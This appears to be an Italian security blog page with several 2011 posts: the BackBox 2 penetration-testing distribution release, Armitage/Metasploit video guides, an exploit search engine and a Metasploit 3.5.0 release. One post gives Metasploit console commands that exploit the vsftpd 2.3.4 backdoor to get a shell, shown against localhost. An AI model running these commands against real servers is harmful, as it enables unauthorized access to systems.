[AGGIORNATO] Rilasciato BackBox 2!
La nuova BackBox 2 è stata appena rilasciata dal Team di sviluppatori guidato da Raffaele Forte, BackBox è una distribuzione di Penetration Testing basata su uBuntu e completamente Open Source.
All’avvio di BackBox 2 si notano immediatamente i cambiamenti, innanzitutto una velocità di boot nettamente migliorata seguita dal nuovo sfondo che fa da contorno al ultimissimo ambiente grafico XFCE 4.8 che introduce la barra di avvio veloce e il menu nella parte alta dello schermo. Il menu “Hacking” rinominato in “Audit” per rendere più professionale la distribuzione è stato completamente riorganizzato raccogliendo le nuove sezioni dedicate all’Informatica Forense e al Voip Hacking oltre ai principali strumenti per testare la sicurezza dei sistemi informatici.
Veramente interessante la nuova sezione dedicata all’Analisi Forense poiché associata ad una distribuzione completamente Open Source la rendono uno strumento in linea con le precise metodologie tecniche, contemplate dalla manualistica scientifica più autorevole della disciplina forense. Nella distribuzione sono già preinstallati gli strumenti: cdfldd, ddrescue, ddf, foremost, photorec, scalpel, testdisk, pdfid, pdf-parse, steghide e vinetto.
La sezione Voip Hacking include invece un kit di strumenti in grado di testare i diversi centralini e sistemi di comunicazione tramite protocollo IP; le utility pre installate sono: svcrack, svcrash, svreport, svwar and sipcrack.
L’introduzione del Utility Openvas (Open Vulnerability Assessment System) permette di effettuare scansioni in rete e analizzare eventuali vulnerabilità oltre all’ormai fondamentale Frameworkd Metasploit aggiornata alla versione 4.
Ma anche le categorie storiche non sono state trascurate, sono stati introdotti più di 30 nuove utility ed aggiornate alle ultime release disponibili le precedenti.
Infine sono stati piccoli bug che affliggevano le precedenti versioni.
[15 Settembre 2011 - Fonti Aggiornate]
BackBox 2 è disponibile al download in versione 32 Bit e 64 Bit ai seguenti link:
BackBox Linux 2 – i386
Release: 03.09.2011
Name: backbox-2-i386.iso
Size: 913,5 MB
MD5: db960e7f449185aeb47efa29580b5528
BackBox Linux 2 – amd64
Release: 03.09.2011
Name: backbox-2-amd64.iso
Size: 945,1 MB
MD5: 41468dd78301be3942aaf607c31141bd
Infine vi riporto il Change Log ufficiale
What’s new
- System upgrade
- Performance boost
- New look and feel
- Improved start menu
- Bug fixing
- Hacking tools new or updated
- Three new section: Vulnerabilty Assessment, Forensic Analysis and VoIP Analysis
- Much, much more!
System requirements
- 32-bit or 64-bit processor
- 256 MB of system memory (RAM)
- 2 GB of disk space for installation
- Graphics card capable of 800×600 resolution
- DVD-ROM drive or USB port
[VIDEO GUIDA] Armitage & Metasploit
Il Team di Armitage (veste grafica per la famosa suite Metasploit) ha recentemente rilasciato sei video guide che illustrano passo a passo come sfruttare la potenzialità dei due software per testare la sicurezza di un sistema informatico.
Armitage è disponibile per i sistemi operativi Linux, Mac OS X e Windows ed possibile scaricare il software sul sito ufficiale.
Per chi è interessato ad integrare Armitage in BackBox vi invito a leggere l’articolo di SystemOverde.
Dopo il salto potete visualizzare le video guide in lingua inglese. Continua a leggere
Exploit Search – Il Motore di Ricerca di Exploit
Exploit Sarch è un nuovo motore di ricerca dedicato agli Exploit, esso è infatti in grado di ricercare exploit su diversi portali di sicurezza informatica come NVD, OSVDB, SecurityFocus, Exploit-DB, Metasploit, Nessus, OpenVAS e PacketStorm.
Il servizio nonostante si ancora in fase beta fa il suo compito in maniera egregia ed è accessibile al seguente link: http://www.exploitsearch.net
[VIDEO] Dimostrazione della BackDoor di VSFTPD
Versione:
vsftpd-2.3.4 del 30/06/2011
Dimostrazione Metasploit:
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST localhost
set PAYLOAD cmd/unix/interact
exploit
id
uname -a
Rilasciato Metasploit 3.5.0
è sicuramente lo strumento che tutti gli appassionati di sicurezza informatica devono conoscere in quanto nasce con l’obbiettivo di individuare vulnerabilità informatiche.
Oggi è stata rilasciata la versione 3.5.0 raggiungendo un database di 613 exploit, con un incremento di 50 exploit rispetto alla precedente versione ed ulteriori importanti novità.
E’ possibile effettuare il download di Metasploit sul sito ufficiale dove è anche reperibile in change log completo.
